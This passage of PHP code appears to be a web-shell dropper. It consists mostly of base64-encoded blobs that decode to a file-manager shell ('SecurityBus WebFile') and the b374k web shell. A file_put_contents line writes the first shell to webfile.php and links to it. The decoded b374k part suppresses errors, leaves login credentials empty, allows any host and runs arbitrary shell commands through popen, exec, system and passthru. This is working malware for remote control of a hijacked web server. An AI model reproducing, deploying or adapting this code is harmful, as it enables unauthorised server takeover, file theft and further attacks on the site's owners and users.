c2UgZmlsZXM6JywNCidtb3ZlZCcgPT4gIlRoZXNlIGZpbGVzIGhhdmUgYmVlbiBtb3ZlZCB0byBcIlslMl1cIjpcDQpbJTFdIiwNCidub3RfbW92ZWQnID0+ICJUaGVzZSBmaWxlcyBjb3VsZCBub3QgYmUgbW92ZWQgdG8gXCJbJTJdXCI6XA0KWyUxXSIsDQonY29weV9maWxlcycgPT4gJ0NvcHkgdGhlc2UgZmlsZXM6JywNCidjb3BpZWQnID0+ICJUaGVzZSBmaWxlcyBoYXZlIGJlZW4gY29waWVkIHRvIFwiWyUyXVwiOlwNClslMV0iLA0KJ25vdF9jb3BpZWQnID0+ICJUaGVzZSBmaWxlcyBjb3VsZCBub3QgYmUgY29waWVkIHRvIFwiWyUyXVwiOlwNClslMV0iLA0KJ25vdF9lZGl0ZWQnID0+ICciWyUxXSIgY2FuIG5vdCBiZSBlZGl0ZWQuJywNCidleGVjdXRlZCcgPT4gIlwiWyUxXVwiIGhhcyBiZWVuIGV4ZWN1dGVkIHN1Y2Nlc3NmdWxseTpcDQp7JTJ9IiwNCidub3RfZXhlY3V0ZWQnID0+ICJcIlslMV1cIiBjb3VsZCBub3QgYmUgZXhlY3V0ZWQgc3VjY2Vzc2Z1bGx5OlwNCnslMn0iLA0KJ3NhdmVkJyA9PiAnIlslMV0iIGhhcyBiZWVuIHNhdmVkLicsDQonbm90X3NhdmVkJyA9PiAnIlslMV0iIGNvdWxkIG5vdCBiZSBzYXZlZC4nLA0KJ3N5bWxpbmtlZCcgPT4gJ1N5bWxpbmsgZnJvbSAiWyUyXSIgdG8gIlslMV0iIGhhcyBiZWVuIGNyZWF0ZWQuJywNCidub3Rfc3ltbGlua2VkJyA9PiAnU3ltbGluayBmcm9tICJbJTJdIiB0byAiWyUxXSIgY291bGQgbm90IGJlIGNyZWF0ZWQuJywNCidwZXJtaXNzaW9uX2ZvcicgPT4gJ1Blcm1pc3Npb24gb2YgIlslMV0iOicsDQoncGVybWlzc2lvbl9zZXQnID0+ICdQZXJtaXNzaW9uIG9mICJbJTFdIiB3YXMgc2V0IHRvIFslMl0uJywNCidwZXJtaXNzaW9uX25vdF9zZXQnID0+ICdQZXJtaXNzaW9uIG9mICJbJTFdIiBjb3VsZCBub3QgYmUgc2V0IHRvIFslMl0uJywNCidub3RfcmVhZGFibGUnID0+ICciWyUxXSIgY2FuIG5vdCBiZSByZWFkLicNCgkJKTsNCg0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBnZXRpbWFnZSAoJGltYWdlKSB7DQoJc3dpdGNoICgkaW1hZ2UpIHsNCgljYXNlICdmaWxlJzoNCgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRURBSm1abWYvLy93QUFBUC8vL3lINUJBSG9Bd01BTEFBQUFBQVJBQTBBQUFJdG5JR0p4ZzBCNDJyc2lTdkNBL1JFbVhRV2htbmloM0xVU0dhcWczNXZGYlNYdWNiU2FidW5qbk1vaHE4Q0FEc0EnKTsNCgljYXNlICdmb2xkZXInOg0KCQlyZXR1cm4gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhFUUFOQUpFREFKbVptZi8vLzh6TXpQLy8veUg1QkFIb0F3TUFMQUFBQUFBUkFBMEFBQUlxbkkrWndLd2JZZ1RQdEl1ZGxid0xPZ0NCUUpZbUNZcm4rbTNzbVk1dkdjKzBhN2Roamg3WmJ5Z0FBRHNBJyk7DQoJY2FzZSAnaGlkZGVuX2ZpbGUnOg0KCQlyZXR1cm4gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhFUUFOQUpFREFNd0FBUC8vLzVtWm1mLy8veUg1QkFIb0F3TUFMQUFBQUFBUkFBMEFBQUl0bklHSnhnMEI0MnJzaVN2Q0EvUkVtWFFXaG1uaWgzTFVTR2FxZzM1dkZiU1h1Y2JTYWJ1bmpuTW9ocThDQURzQScpOw0KCWNhc2UgJ2xpbmsnOg0KCQlyZXR1cm4gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhFUUFOQUtJRUFKbVptZi8vL3dBQUFNd0FBUC8vL3dBQUFBQUFBQUFBQUNINUJBSG9Bd1FBTEFBQUFBQVJBQTBBQUFNNVNBcmNyRENDUU91TGNJb3R3Z1RZVWxsTk9BMER4WGttaFk0c2hNNXpzTVVLVFk4Z05nVXZXNmNuQWFaZ3hNeUlNMnpCTENhSGxKZ0FBRHNBJyk7DQoJY2FzZSAnc21pbGV5JzoNCgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRUNBQUFBQVAvL0FQLy8vd0FBQUNINUJBSG9Bd0lBTEFBQUFBQVJBQTBBQUFJc2xJK3BBdTJ3REFpejBqV0QzaHFtQnpaZjFWQ2xlSlFjaDBya2RucHBCM2RLWnVJeWdyTVJFL29KRHdVQU93QT0nKTsNCgljYXNlICdhcnJvdyc6DQoJCXJldHVybiBiYXNlNjRfZGVjb2RlKCdSMGxHT0RsaEVRQU5BSUFCQUFBQUFQLy8veUg1QkFFS0FBRUFMQUFBQUFBUkFBMEFBQUlkakE5d3k2Z05RNHB3VW1hdjB5dm4raGhKaUkzbUNKNm90cklreHhRQU93PT0nKTsNCgl9DQp9DQoNCmZ1bmN0aW9uIGh0bWxfaGVhZGVyICgpIHsNCglnbG9iYWwgJHNpdGVfY2hhcnNldDsNCg0KCWVjaG8gPDw8RU5EDQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIg0KICAgICAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9JHNpdGVfY2hhcnNldCIgLz4NCg0KPHRpdGxlPlNlY3VyaXR5QnVzIFdlYkZpbGU8L3RpdGxlPg0KDQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KYm9keSB7IGZvbnQ6IHNtYWxsIHNhbnMtc2VyaWY7IHRleHQtYWxpZ246IGNlbnRlciB9DQppbWcgeyB3aWR0aDogMTdweDsgaGVpZ2h0OiAxM3B4IH0NCmEsIGE6dmlzaXRlZCB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgY29sb3I6IG5hdnkgfQ0KaHIgeyBib3JkZXItc3R5bGU6IG5vbmU7IGhlaWdodDogMXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiBzaWx2ZXI7IGNvbG9yOiBzaWx2ZXIgfQ0KI21haW4geyBtYXJnaW4tdG9wOiA2cHQ7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IGJvcmRlci1zcGFjaW5nOiAxcHggfQ0KI21haW4gdGggeyBiYWNrZ3JvdW5kOiAjZWVlOyBwYWRkaW5nOiAzcHQgM3B0IDBwdCAzcHQgfQ0KLmxpc3RpbmcgdGgsIC5saXN0aW5nIHRkIHsgcGFkZGluZzogMXB4IDNwdCAwIDNwdCB9DQoubGlzdGluZyB0aCB7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlciB9DQoubGlzdGluZyB0ZCB7IGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7IGJhY2tncm91bmQ6IHdoaXRlIH0NCi5saXN0aW5nIC5jaGVja2JveCB7IHRleHQtYWxpZ246IGNlbnRlciB9DQoubGlzdGluZyAuZmlsZW5hbWUgeyB0ZXh0LWFsaWduOiBsZWZ0IH0NCi5saXN0aW5nIC5zaXplIHsgdGV4dC1hbGlnbjogcmlnaHQgfQ0KLmxpc3RpbmcgLnBlcm1pc3Npb25faGVhZGVyIHsgdGV4dC1hbGlnbjogbGVmdCB9DQoubGlzdGluZyAucGVybWlzc2lvbiB7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2UgfQ0KLmxpc3RpbmcgLm93bmVyIHsgdGV4dC1hbGlnbjogbGVmdCB9DQoubGlzdGluZyAuZ3JvdXAgeyB0ZXh0LWFsaWduOiBsZWZ0IH0NCi5saXN0aW5nIC5mdW5jdGlvbnMgeyB0ZXh0LWFsaWduOiBsZWZ0IH0NCi5saXN0aW5nX2Zvb3RlciB0ZCB7IGJhY2tncm91bmQ6ICNlZWU7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlciB9DQojZGlyZWN0b3J5LCAjdXBsb2FkLCAjY3JlYXRlLCAubGlzdGluZ19mb290ZXIgdGQsICNlcnJvciB0ZCwgI25vdGljZSB0ZCB7IHRleHQtYWxpZ246IGxlZnQ7IHBhZGRpbmc6IDNwdCB9DQojZGlyZWN0b3J5IHsgYmFja2dyb3VuZDogI2VlZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0NCiN1cGxvYWQgeyBwYWRkaW5nLXRvcDogMWVtIH0NCiNjcmVhdGUgeyBwYWRkaW5nLWJvdHRvbTogMWVtIH0NCi5zbWFsbCwgLnNtYWxsIG9wdGlvbiB7IGZvbnQtc2l6ZTogeC1zbWFsbCB9DQp0ZXh0YXJlYSB7IGJvcmRlcjogbm9uZTsgYmFja2dyb3VuZDogd2hpdGUgfQ0KdGFibGUuZGlhbG9nIHsgbWFyZ2luLWxlZnQ6IGF1dG87IG1hcmdpbi1yaWdodDogYXV0byB9DQp0ZC5kaWFsb2cgeyBiYWNrZ3JvdW5kOiAjZWVlOyBwYWRkaW5nOiAxZXg7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlcjsgdGV4dC1hbGlnbjogY2VudGVyIH0NCiNwZXJtaXNzaW9uIHsgbWFyZ2luLWxlZnQ6IGF1dG87IG1hcmdpbi1yaWdodDogYXV0byB9DQojcGVybWlzc2lvbiB0ZCB7IHBhZGRpbmctbGVmdDogM3B0OyBwYWRkaW5nLXJpZ2h0OiAzcHQ7IHRleHQtYWxpZ246IGNlbnRlciB9DQp0ZC5wZXJtaXNzaW9uX2FjdGlvbiB7IHRleHQtYWxpZ246IHJpZ2h0IH0NCiNzeW1saW5rIHsgYmFja2dyb3VuZDogI2VlZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0NCiNzeW1saW5rIHRkIHsgdGV4dC1hbGlnbjogbGVmdDsgcGFkZGluZzogM3B0IH0NCiNyZWRfYnV0dG9uIHsgd2lkdGg6IDEyMHB4OyBjb2xvcjogIzQwMCB9DQojZ3JlZW5fYnV0dG9uIHsgd2lkdGg6IDEyMHB4OyBjb2xvcjogIzA0MCB9DQojZXJyb3IgdGQgeyBiYWNrZ3JvdW5kOiBtYXJvb247IGNvbG9yOiB3aGl0ZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0NCiNub3RpY2UgdGQgeyBiYWNrZ3JvdW5kOiBncmVlbjsgY29sb3I6IHdoaXRlOyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQ0KI25vdGljZSBwcmUsICNlcnJvciBwcmUgeyBiYWNrZ3JvdW5kOiBzaWx2ZXI7IGNvbG9yOiBibGFjazsgcGFkZGluZzogMWV4OyBtYXJnaW4tbGVmdDogMWV4OyBtYXJnaW4tcmlnaHQ6IDFleCB9DQpjb2RlIHsgZm9udC1zaXplOiAxMnB0IH0NCnRkIHsgd2hpdGUtc3BhY2U6IG5vd3JhcCB9DQo8L3N0eWxlPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQo8IS0tDQpmdW5jdGlvbiBhY3RpdmF0ZSAobmFtZSkgew0KCWlmIChkb2N1bWVudCAmJiBkb2N1bWVudC5mb3Jtc1swXSAmJiBkb2N1bWVudC5mb3Jtc1swXS5lbGVtZW50c1snZm9jdXMnXSkgew0KCQlkb2N1bWVudC5mb3Jtc1swXS5lbGVtZW50c1snZm9jdXMnXS52YWx1ZSA9IG5hbWU7DQoJfQ0KfQ0KLy8tLT4NCjwvc2NyaXB0Pg0KDQo8L2hlYWQ+DQo8Ym9keT4NCg0KDQpFTkQ7DQoNCn0NCg0KZnVuY3Rpb24gaHRtbF9mb290ZXIgKCkgew0KDQoJZWNobyA8PDxFTkQNCjwvYm9keT4NCjwvaHRtbD4NCkVORDsNCg0KfQ0KDQpmdW5jdGlvbiBub3RpY2UgKCRwaHJhc2UpIHsNCglnbG9iYWwgJGNvbHM7DQoNCgkkYXJncyA9IGZ1bmNfZ2V0X2FyZ3MoKTsNCglhcnJheV9zaGlmdCgkYXJncyk7DQoNCglyZXR1cm4gJzx0ciBpZD0ibm90aWNlIj4NCgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyI+JyAuIHBocmFzZSgkcGhyYXNlLCAkYXJncykgLiAnPC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCmZ1bmN0aW9uIGVycm9yICgkcGhyYXNlKSB7DQoJZ2xvYmFsICRjb2xzOw0KDQoJJGFyZ3MgPSBmdW5jX2dldF9hcmdzKCk7DQoJYXJyYXlfc2hpZnQoJGFyZ3MpOw0KDQoJcmV0dXJuICc8dHIgaWQ9ImVycm9yIj4NCgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyI+JyAuIHBocmFzZSgkcGhyYXNlLCAkYXJncykgLiAnPC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCj8+DQo=';
file_put_contents('webfile.php',base64_decode($shell));;
echo "<a href='./shells/webfile.php'>Here webfile.php</a><br>";
$b374k = 'PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCiRzaF9uYW1lID0gIlNlY3VyaXR5QnVzIjsNCiRzaF9tYWludXJsID0gIiI7DQokaHRtbF9zdGFydCA9ICc8aHRtbD48aGVhZD4NCjx0aXRsZT4nLmdldGVudigiSFRUUF9IT1NUIikuJyAtICcuJHNoX25hbWUuJzwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KYm9keSx0YWJsZSB7IGZvbnQtZmFtaWx5OnZlcmRhbmE7Zm9udC1zaXplOjlweDtjb2xvcjojQ0NDQ0NDO2JhY2tncm91bmQtY29sb3I6IzMzMzMzMzsgfQ0KdGFibGUgeyB3aWR0aDoxMDAlOyBib3JkZXItY29sb3I6IzMzMzMzMztib3JkZXItd2lkdGg6MHB0IDFwdDsgYm9yZGVyLXN0eWxlOnNvbGlkOyB9DQp0ZCB7YmFja2dyb3VuZC1jb2xvcjogIzAwMDUwMDsgZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3OyBmb250LXNpemU6OHB0OyBjb2xvcjojOTk5OTk5OyBib3JkZXItY29sb3I6I0ZGRkZGRjsgYm9yZGVyLXdpZHRoOjFwdCAwcHQ7IGJvcmRlci1zdHlsZTpzb2xpZDsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO3BhZGRpbmc6MHB0IDNwdDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7fQ0KQTpMaW5rLCBBOlZpc2l0ZWQgeyBjb2xvcjogIzk5OTk5OTsJdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQpBLm5vOkxpbmssIEEubm86VmlzaXRlZCB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQ0KQTpIb3ZlciwgQTpWaXNpdGVkOkhvdmVyICwgQS5ubzpIb3ZlciwgQS5ubzpWaXNpdGVkOkhvdmVyIHsgY29sb3I6ICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6IzMzMzMzMzsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQppbnB1dCxzZWxlY3Qsb3B0aW9uIHsgZm9udDo4cHQgdGFob21hO2NvbG9yOiM2NjY2NjY7bWFyZ2luOjI7Ym9yZGVyOjFweCBzb2xpZCAjNjY2NjY2OyB9DQp0ZXh0YXJlYSB7IGNvbG9yOiM2NjY2NjY7Zm9udDp2ZXJkYW5hIGJvbGQ7Ym9yZGVyOjFweCBzb2xpZCA7bWFyZ2luOjI7IH0NCi5mbGVmdCB7IGZsb2F0OmxlZnQ7dGV4dC1hbGlnbjpsZWZ0OyB9DQouZnJpZ2h0IHsgZmxvYXQ6cmlnaHQ7dGV4dC1hbGlnbjpyaWdodDsgfQ0KI3BhZ2ViYXIgeyBmb250OjhwdCB0YWhvbWE7cGFkZGluZzo1cHg7IGJvcmRlcjozcHggc29saWQgIzMzMzMzMzsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlOyB9DQojcGFnZWJhciB0ZCB7IHZlcnRpY2FsLWFsaWduOnRvcDsgfQ0KI3BhZ2ViYXIgcCB7IGZvbnQ6OHB0IHRhaG9tYTt9DQojcGFnZWJhciBhIHsgZm9udC13ZWlnaHQ6Ym9sZDtjb2xvcjojNjY2NjY2OyB9DQojcGFnZWJhciBhOnZpc2l0ZWQgeyBjb2xvcjojMDBDRTAwOyB9DQojbWFpbm1lbnUgeyB0ZXh0LWFsaWduOmNlbnRlcjsgfQ0KI21haW5tZW51IGEgeyB0ZXh0LWFsaWduOiBjZW50ZXI7cGFkZGluZzogMHB4IDVweCAwcHggNXB4OyB9DQojbWFpbmluZm8sLmJhcmhlYWRlciwuYmFyaGVhZGVyMiB7IHRleHQtYWxpZ246Y2VudGVyOyB9DQojbWFpbmluZm8gdGQgeyBwYWRkaW5nOjNweDsgfQ0KLmJhcmhlYWRlciB7IGZvbnQtd2VpZ2h0OmJvbGQ7cGFkZGluZzo1cHg7IH0NCi5iYXJoZWFkZXIyIHsgcGFkZGluZzo1cHg7Ym9yZGVyOjJweCBzb2xpZCAjMzMzMzMzOyB9DQouY29udGVudHMsLmV4cGxvcmVyIHsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO30NCi5jb250ZW50cyB0ZCB7IHZlcnRpY2FsLWFsaWduOnRvcDsgfQ0KLm1haW5wYW5lbCB7IGJvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtwYWRkaW5nOjVweDsgfQ0KLmJhcmhlYWRlciwubWFpbnBhbmVsIHRhYmxlLHRkIHsgYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzOyB9DQoubWFpbnBhbmVsIGlucHV0LHNlbGVjdCxvcHRpb24geyBib3JkZXI6MXB4IHNvbGlkICMzMzMzMzM7bWFyZ2luOjA7IH0NCmlucHV0W3R5cGU9InN1Ym1pdCJdIHsgYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzOyB9DQppbnB1dFt0eXBlPSJ0ZXh0Il0geyBwYWRkaW5nOjNweDt9DQouZnhlcnJtc2cgeyBjb2xvcjpyZWQ7IGZvbnQtd2VpZ2h0OmJvbGQ7IH0NCiNwYWdlYmFyLCNwYWdlYmFyIHAsaDEsaDIsaDMsaDQsZm9ybSB7IG1hcmdpbjowOyB9DQojcGFnZWJhciwubWFpbnBhbmVsLGlucHV0W3R5cGU9InN1Ym1pdCJdIHsgYmFja2dyb3VuZC1jb2xvcjpibGFjazsgfQ0KLmJhcmhlYWRlcjIsaW5wdXQsc2VsZWN0LG9wdGlvbixpbnB1dFt0eXBlPSJzdWJtaXQiXTpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6YmxhY2s7IH0NCnRleHRhcmVhLC5tYWlucGFuZWwgaW5wdXQsc2VsZWN0LG9wdGlvbiB7IGJhY2tncm91bmQtY29sb3I6IzAwMDAwMDsgfQ0KLy8gLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCiRsb2dpbiA9ICIiOyANCiRwYXNzID0gIiI7DQokbWQ1X3Bhc3MgPSAiIjsNCiRob3N0X2FsbG93ID0gYXJyYXkoIioiKTsgDQokbG9naW5fdHh0ID0gIiI7IA0KJGFjY2Vzc2RlbmllZG1lc3MgPSAiPE1FVEEgaHR0cC1lcXVpdj1cInJlZnJlc2hcIiBjb250ZW50PVwiMDtVUkw9aHR0cDovL2hvbWUuZGlzbmV5LmdvLmNvbS9cIj48Ym9keSBiZ2NvbG9yPWJsYWNrPjxhIGhyZWY9XCIkc2hfbWFpbnVybFwiPjxmb250IGNvbG9yPWxpbWU+ZGllKCk7PC9mb250PjwvYT46IDxmb250IGNvbG9yPXJlZD5hY2Nlc3MgZGVuaWVkPC9mb250PjwvYm9keT4iOw0KJGd6aXBlbmNvZGUgPSBGQUxTRTsNCiRmaWxlc3RlYWx0aCA9IFRSVUU7IA0KJGN1cmRpciA9ICIuLyI7DQokdG1wZGlyID0gIiI7IA0KJHRtcGRpcl9sb2cgPSAiLi8iOw0KJGxvZ19lbWFpbCA9ICIiOyAgLy9meDBAZngwLm5hbWUNCiRzb3J0X2RlZmF1bHQgPSAiMGEiOyANCiRzb3J0X3NhdmUgPSBUUlVFOyANCiRzZXNzX2Nvb2tpZSA9ICJjYXByaXY4dmFycyI7IA0KJHVzZWZzYnVmZiA9IFRSVUU7IA0KJGNvcHlfdW5zZXQgPSBGQUxTRTsgDQokaGV4ZHVtcF9saW5lcyA9IDg7DQokaGV4ZHVtcF9yb3dzID0gMjQ7DQokd2luID0gc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iOw0KJGRpc2FibGVmdW5jID0gQGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7DQppZiAoIWVtcHR5KCRkaXNhYmxlZnVuYykpIHsNCiAgJGRpc2FibGVmdW5jID0gc3RyX3JlcGxhY2UoIiAiLCIiLCRkaXNhYmxlZnVuYyk7DQogICRkaXNhYmxlZnVuYyA9IGV4cGxvZGUoIiwiLCRkaXNhYmxlZnVuYyk7DQp9DQpmdW5jdGlvbiBnZXRfcGhwaW5pKCkgew0KICBmdW5jdGlvbiBVX3dvcmR3cmFwKCRzdHIpIHsNCiAgICAkc3RyID0gQHdvcmR3cmFwKEBodG1sc3BlY2lhbGNoYXJzKCRzdHIpLCAxMDAsICc8d2JyIC8+JywgdHJ1ZSk7DQogICAgcmV0dXJuIEBwcmVnX3JlcGxhY2UoJyEoJlteO10qKTx3YnIgLz4oW147XSo7KSEnLCAnJDEkMjx3YnIgLz4nLCAkc3RyKTsNCiAgfQ0KICBmdW5jdGlvbiBVX3ZhbHVlKCR2YWx1ZSkgew0KICAgIGlmICgkdmFsdWUgPT0gJycpIHJldHVybiAnPGk+bm8gdmFsdWU8L2k+JzsNCiAgICBpZiAoQGlzX2Jvb2woJHZhbHVlKSkgcmV0dXJuICR2YWx1ZSA/ICdUUlVFJyA6ICdGQUxTRSc7DQogICAgaWYgKCR2YWx1ZSA9PT0gbnVsbCkgcmV0dXJuICdOVUxMJzsNCiAgICBpZiAoQGlzX29iamVjdCgkdmFsdWUpKSAkdmFsdWUgPSAoYXJyYXkpICR2YWx1ZTsNCiAgICBpZiAoQGlzX2FycmF5KCR2YWx1ZSkpIHsNCiAgICAgIEBvYl9zdGFydCgpOw0KICAgICAgcHJpbnRfcigkdmFsdWUpOw0KICAgICAgJHZhbHVlID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgICAgQG9iX2VuZF9jbGVhbigpOw0KICAgIH0NCiAgICByZXR1cm4gVV93b3Jkd3JhcCgoc3RyaW5nKSAkdmFsdWUpOw0KICB9DQogIGlmIChAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0X2FsbCcpKSB7DQogICAgJHIgPSAiIjsNCiAgICBlY2hvICI8dGFibGU+PHRyIGNsYXNzPWJhcmhlYWRlcj48dGQ+RGlyZWN0aXZlPC90ZD48dGQ+TG9jYWwgVmFsdWU8L3RkPjx0ZD5HbG9iYWwgVmFsdWU8L3RkPjwvdHI+IjsNCiAgICBmb3JlYWNoIChAaW5pX2dldF9hbGwoKSBhcyAka2V5PT4kdmFsdWUpIHsNCiAgICAgICRyIC49ICI8dHI+PHRkPiIuJGtleS4iPC90ZD48dGQ+PGRpdiBhbGlnbj1jZW50ZXI+Ii5VX3ZhbHVlKCR2YWx1ZVsnbG9jYWxfdmFsdWUnXSkuIjwvZGl2PjwvdGQ+PHRkPjxkaXYgYWxpZ249Y2VudGVyPiIuVV92YWx1ZSgkdmFsdWVbJ2dsb2JhbF92YWx1ZSddKS4iPC9kaXY+PC90ZD48L3RyPiI7DQogICAgfQ0KICAgIGVjaG8gJHI7DQogICAgZWNobyAiPC90YWJsZT4iOw0KICB9DQp9DQoNCmZ1bmN0aW9uIGRpc3BfZHJpdmVzKCRjdXJkaXIsJHN1cmwpIHsNCiAgJGxldHRlcnMgPSAiIjsNCiAgJHYgPSBleHBsb2RlKCJcXCIsJGN1cmRpcik7DQogICR2ID0gJHZbMF07DQogIGZvcmVhY2ggKHJhbmdlKCJBIiwiWiIpIGFzICRsZXR0ZXIpIHsNCiAgICAkYm9vbCA9ICRpc2Rpc2tldHRlID0gJGxldHRlciA9PSAiQSI7DQogICAgaWYgKCEkYm9vbCkgeyRib29sID0gaXNfZGlyKCRsZXR0ZXIuIjpcXCIpO30NCiAgICBpZiAoJGJvb2wpIHsNCiAgICAgICRsZXR0ZXJzIC49ICI8YSBocmVmPVwiIi4kc3VybC4ieD1scyZkPSIudXJsZW5jb2RlKCRsZXR0ZXIuIjpcXCIpLiJcIiIuDQogICAgICAoJGlzZGlza2V0dGU/IiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ01ha2Ugc3VyZSB0aGF0IHRoZSBkaXNrZXR0ZSBpcyBpbnNlcnRlZCBwcm9wZXJseSwgb3RoZXJ3aXNlIGFuIGVycm9yIG1heSBvY2N1ci4nKVwiIjoiIikuIj4gWyI7DQogICAgICBpZiAoJGxldHRlci4iOiIgIT0gJHYpIHskbGV0dGVycyAuPSAkbGV0dGVyO30NCiAgICAgIGVsc2UgeyRsZXR0ZXJzIC49ICI8Zm9udCBjb2xvcj1yZWQ+Ii4kbGV0dGVyLiI8L2ZvbnQ+Ijt9DQogICAgICAkbGV0dGVycyAuPSAiXTwvYT4gIjsNCiAgICB9DQogIH0NCiAgaWYgKCFlbXB0eSgkbGV0dGVycykpIHtSZXR1cm4gJGxldHRlcnM7fQ0KICBlbHNlIHtSZXR1cm4gIk5vbmUiO30NCn0NCmlmIChpc19jYWxsYWJsZSgiZGlza19mcmVlX3NwYWNlIikpIHsNCiAgZnVuY3Rpb24gZGlzcF9mcmVlc3BhY2UoJGN1cmRydikgew0KICAgICRmcmVlID0gZGlza19mcmVlX3NwYWNlKCRjdXJkcnYpOw0KICAgICR0b3RhbCA9IGRpc2tfdG90YWxfc3BhY2UoJGN1cmRydik7DQogICAgaWYgKCRmcmVlID09PSBGQUxTRSkgeyRmcmVlID0gMDt9DQogICAgaWYgKCR0b3RhbCA9PT0gRkFMU0UpIHskdG90YWwgPSAwO30NCiAgICBpZiAoJGZyZWUgPCAwKSB7JGZyZWUgPSAwO30NCiAgICBpZiAoJHRvdGFsIDwgMCkgeyR0b3RhbCA9IDA7fQ0KICAgICR1c2VkID0gJHRvdGFsLSRmcmVlOw0KICAgICRmcmVlX3BlcmNlbnQgPSByb3VuZCgxMDAvKCR0b3RhbC8kZnJlZSksMikuIiUiOw0KICAgICRmcmVlID0gdmlld19zaXplKCRmcmVlKTsNCiAgICAkdG90YWwgPSB2aWV3X3NpemUoJHRvdGFsKTsNCiAgICByZXR1cm4gIiRmcmVlIG9mICR0b3RhbCAoJGZyZWVfcGVyY2VudCkiOw0KICB9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzaGVsbGV4ZWMiKSkgew0KICBpZihpc19jYWxsYWJsZSgicG9wZW4iKSkgew0KICAgIGZ1bmN0aW9uIG15c2hlbGxleGVjKCRjbWQpIHsNCiAgICAgIGlmICghKCRwPXBvcGVuKCIoJGNtZCkyPiYxIiwiciIpKSkgeyByZXR1cm4gInBvcGVuIERpc2FibGVkISI7IH0NCiAgICAgIHdoaWxlICghZmVvZigkcCkpIHsNCiAgICAgICAgJGxpbmU9ZmdldHMoJHAsMTAyNCk7DQogICAgICAgICRvdXQgLj0gJGxpbmU7DQogICAgICB9DQogICAgICBwY2xvc2UoJHApOw0KICAgICAgcmV0dXJuICRvdXQ7DQogICAgfQ0KICB9IGVsc2Ugew0KICAgIGZ1bmN0aW9uIG15c2hlbGxleGVjKCRjbWQpIHsNCiAgICAgIGdsb2JhbCAkZGlzYWJsZWZ1bmM7DQogICAgICAkcmVzdWx0ID0gIiI7DQogICAgICBpZiAoIWVtcHR5KCRjbWQpKSB7DQogICAgICAgIGlmIChpc19jYWxsYWJsZSgiZXhlYyIpIGFuZCAhaW5fYXJyYXkoImV4ZWMiLCRkaXNhYmxlZnVuYykpIHsNCiAgICAgICAgICBleGVjKCRjbWQsJHJlc3VsdCk7DQogICAgICAgICAgJHJlc3VsdCA9IGpvaW4oIlxuIiwkcmVzdWx0KTsNCiAgICAgICAgfSBlbHNlaWYgKCgkcmVzdWx0ID0gJGNtZCkgIT09IEZBTFNFKSB7DQogICAgICAgIH0gZWxzZWlmIChpc19jYWxsYWJsZSgic3lzdGVtIikgYW5kICFpbl9hcnJheSgic3lzdGVtIiwkZGlzYWJsZWZ1bmMpKSB7DQogICAgICAgICAgJHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBzeXN0ZW0oJGNtZCk7ICRyZXN1bHQgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBlY2hvICR2Ow0KICAgICAgICB9IGVsc2VpZiAoaXNfY2FsbGFibGUoInBhc3N0aHJ1IikgYW5kICFpbl9hcnJheSgicGFzc3RocnUiLCRkaXNhYmxlZnVuYykpIHsNCiAgICAgICAgICAkdiA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFu